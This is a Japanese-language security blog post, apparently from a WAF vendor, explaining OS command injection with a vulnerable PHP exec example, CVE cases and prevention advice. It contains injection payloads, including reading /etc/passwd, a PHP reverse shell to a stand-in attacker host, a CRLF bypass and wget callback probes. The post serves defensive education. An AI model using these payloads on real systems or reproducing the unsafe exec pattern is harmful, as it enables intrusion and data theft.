OS コマンドインジェクションの基礎知識
**はじめに
**今回のブログ記事は、さまざまな種類の Web アプリケーションの脆弱性や攻撃に関する基本的な情報を紹介するシリーズの第1回目です。各記事では脆弱性の性質に加え、これらの脆弱性がどのように悪用されるかを説明し、実例を交えつつそれらの問題への対策をご紹介します。
OS コマンドインジェクションとは何か
OS コマンドインジェクション</u>は、基盤となるオペレーティングシステムで攻撃者が任意のコマンドを実行するのを可能にする、Web アプリケーションの脆弱性です。このような脆弱性の悪用は、ユーザーによって引数として提供された入力によって Web アプリケーションがオペレーティングシステムのコマンドを呼び出すことで発生します。
社内システムをモニタリングし、システムの一部がオフラインになった場合にアラートを発する Web アプリケーションを想定してみましょう。このシナリオでは、対象にレスポンスが届くかどうかネットワークをテストするために、アプリケーションが ping コマンドを実行するとします。アプリケーションが PHP で記述されている場合、基盤のコードは以下のような感じになるでしょう。
$ip_address = $_GET["ip_address"])
$not_used = array();
$return_code = 0;
exec('ping -W 2 -c 1 ' . $ip_address, $not_used, $return_code)
ターゲットとして最後に追加された「ip_address」にユーザーが提供する値を使用して ping コマンドが PHP の exec 関数によって実行されます。しかし、ユーザーがlocalhost; cat /etc/passwd
を IP アドレスとして提供すると、ping コマンドとセミコロンの後に開始されるふたつ目のコマンドの両方が実行されます。この時点で攻撃者は完全にコマンド実行が可能になり、自由に悪意のあるコマンドを実行し、アクセスの拡大や機密情報の取得、パーシステンスの維持、ネットワーク上の他のターゲットへの転換などを試みることができます。コマンドインジェクション攻撃を可能にする脆弱性は壊滅的な影響につながりやすいことから、他の Web アプリケーション脆弱性よりも深刻度が高いと評価されることが多いです。
OS コマンドインジェクションと他のインジェクション攻撃の違いundefined
コマンドインジェクションは、コードインジェクション</u>をはじめとするその他のインジェクション攻撃と混同されがちです。このふたつの脆弱性を区別する最も簡単な方法は、ペイロード実行のメソッドとコンテキストを確認することです。
コマンドインジェクションの特徴は、外部プログラムへの呼び出しにインジェクションすることで、基盤のオペレーティングシステムのシェルプログラム (bash など) のコンテキストで実行されることにあります。
コードインジェクションは使用されているプログラミング言語のコンテキストで実行されます。例として、PHP の include 関数 や eval 関数にインジェクションして任意の PHP コードを実行できるようにする方法が挙げられます。
コマンドインジェクションのペイロードに PHP などのプログラミング言語のコードが含まれている場合、上記のふたつが混同されることがあります。例えば、前述の例でリバースシェルを開始する以下のコマンドインジェクションのペイロードを使用するとします。
localhost; php -r '$sock=fsockopen("attackers.ip.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ペイロードの大部分が PHP コードなので、一見するとコードインジェクションであるかのような印象を受けるかもしれません。しかしペイロードの最初の部分を見ると、コマンドインジェクションであることがわかります。PHP コマンドが実行される前にセミコロンによって 現在実行中の bash コマンドが終了します。次に、php-r が次の PHP をコマンドラインで実行し、ここではこれは攻撃者の IP アドレスに接続を行うリバースシェルになります。OS のシェルプログラムの引数にインジェクションしているので、PHP コードがペイロードで実行されている間、OS コマンドインジェクションが起きています。undefined
増大する OS コマンドインジェクション
NagiosXI における OS コマンドインジェクションの脆弱性 : CVE-2021-25296 (7、8)
以前のレポートで</u>ご紹介した通り、NagiosXI のバージョン 5.5.6 から 5.7.5 には、三つのコマンドインジェクションの脆弱性が存在しました。実際、前述の ping の例は CVE-2021-25298 を参考にしています。このコマンドインジェクションの脆弱性は、ユーザーが提供する IP アドレスを使用する PHP の exec 関数を通じて実行される ping の呼び出しに存在します。CVSS スコアは完璧ではありませんが、これらの脆弱性の CVSS スコアは10点中8.8点であり、影響力の大きさを示しています。私たちの記事では、Meterpreter のリモートシェルと Project Discovery の interactsh</u> へのコールバックの両方を開始することによって、これらの脆弱性を利用する実際的な方法をご紹介しています。CISA が報告</u>しているように、これらの CVE が攻撃者によって積極的に悪用されていることからも、システム侵害の目的においてこれらに潜在的価値があることがわかります。
**ManageEngine ADManagerPlus における OS コマンドインジェクションの脆弱性 : CVE-2023-29084
**このコマンドインジェクションの脆弱性は、コマンドインジェクションを回避する望ましくない方法の好例を示しています。Dinh Hoang 氏による素晴らしい記事</u>では、この脆弱性について具体的に ADManagerPlus が CommonUtil.getPowerShellEscapedValue
の関数を使用し、reg add コマンドのためにユーザーによって提供されたユーザー名とパスワードの値をエスケープしていることが説明されています。しかし、この関数は CRLF 文字をエスケープしないので、次のペイロードがパスワードとして挿入され、calc を開始するのを可能にします : [any-content]\r\ncalc.exe
。後ほどご説明しますが、このタイプの入力のサニタイズはミスや新たなバイパス、メタ文字の見落としを招き、将来的にコマンドインジェクションにつながる可能性があります。
WAF で確認された OS コマンドインジェクション
Fastly の Next-Gen WAF は、コマンドインジェクション攻撃からシステムを保護します。観測されたコマンドインジェクションのペイロードをいくつか調べることで、OS コマンドインジェクションの脆弱性を検出するために攻撃者が実際に何を送信しているかを確認できます。
ペイロードの例 1 : POST リクエストデータで「休止」を ping で実行する
language=&ping -c 25 127.0.0.1 &
このペイロードは言語フィールドへのコマンドインジェクションのシンプルな試みです。これはインジェクションを検出するのにコマンドからの出力の取得に依存しない、ブラインド・コマンド・インジェクションの手法を使用しています。undefinedまずペイロードはメタ文字「&」を使用し、最初のコマンドをバックグラウンドで実行しながら2番目のコマンドを実行します。ペイロードに含まれる「-c」フラグを持つ ping コマンドは、25個のパケットを送信するよう ping に指示します (1秒ごとに1個) レスポンス時間を分析することで、攻撃者は注入したコマンドが実行されたかどうかを判断できます。ただし狙ったアプリケーションが、実行されたコマンドが完了するのを待たずに HTTP レスポンスを送信する場合、役に立たない可能性があります。この制約がない、より興味深いブラインド・コマンド・インジェクションの例を見てみましょう。
ペイロードの例 2 : POST リクエストデータで Wget を使用する
macAddress=112233445566;wget http://[redacted-subdomain].oast.site#
このペイロードは macAddress フィールドに注入され、コマンドインジェクションに利用される2つのメタ文字を含みます。まず、セミコロンが最初のコマンドの終わりを示すので、攻撃者側のコマンドを起動することができる状態になります。攻撃者は注入されたペイロードの最後にメタ文字「#」を使用して後に続くデータをコメントアウトします。これは、後続の引数がコメントの一部として無視されるので、注入する引数がコマンドの最終引数でない場合に利用されることがあります。
このペイロードの中心は、Project Discovery の interactsh</u> が使用するデフォルトのコールバックドメイン</u>のひとつである oast.site のサブドメインに到達する wget コマンド内にあります。OAST は「帯域外のアプリケーション・セキュリティ・テスト」を意味しており、interactsh を通じて一意のサブドメインとペイロードを使用することで標的型攻撃が成功したかどうかを確認できます。以前のブログ記事でレポートした通り</u>、interactsh やその他のツールで使用されるドメインの中には、このようなテストを簡単に実行できるようにするものがあります。
OS コマンドインジェクションを防ぐ
OS コマンドインジェクションを回避する方法がありますが、それぞれ異なる効果や欠点が存在します。
**理想的なソリューション
**アプリケーションコードからオペレーティングシステムのコマンドを呼び出さないようにします。こうすることで、注入されたコマンド自体を削除して OS コマンドインジェクションの脆弱性の可能性を完全に排除できます。同じアクションを実行するために別の方法を利用するのは、より安全かつ好ましい手段といえます。
2番目にお勧めのソリューション
OS コマンドの呼び出しを削除せざるを得ない環境では、OS コマンドインジェクションの脆弱性を防ぐのに厳格な入力検証が必要になります。厳格な入力検証は、入力のサニタイズとは異なります。undefined入力検証では、アプリケーションが OS コマンドに渡しても安全な値のみがユーザー入力に含まれていることを保証する必要があります。厳格な入力検証の例には以下があります。
入力が許可された値のリストに含まれていることを検証する。
提供された入力が適切なタイプ (例 : 整数や IP アドレス) であることを検証する。
入力が英数字のみであることを検証する。
**非推奨のソリューション
**これらのオプションがどれも実行できない場合、最後の手段としてシェルのメタ文字 (例 :「&」や「;」) をエスケープしてユーザー入力をサニタイズする方法があります。しかし、メタ文字の表現方法や解釈のされ方がオペレーティングシステムによって異なるほか、サニタイズのメソッドがバイパスされる方法も多岐にわたるため、このようなサニタイズを適切に実行するのは困難です。メタ文字 (CRLF) の見落としがコマンドインジェクションの発生につながったことからも、CVE-2023-29084 は、この方法によって起こり得る問題を示しているといえます。多くの場合、サニタイズによって単純な OS コマンドインジェクションのペイロードから保護することができますが、適切な実装の難しさとバイパスの可能性という二重の問題が存在するため、完全なソリューションではありません。
参考リソース
さらに詳しく知りたい場合
CWE-77 コマンドインジェクション
CWE-78 OS コマンドインジェクション
OWASP コマンドインジェクション
Portswigger Web Security Academy 資料 & ラボ
実例
NagiosXI における OS コマンドインジェクションの脆弱性 (CVE-2021-25296, CVE-2021-25297, CVE-2021-25298)
ManageEngine AD Manager Plus における OS コマンドインジェクションの脆弱性 (CVE-2023-29084)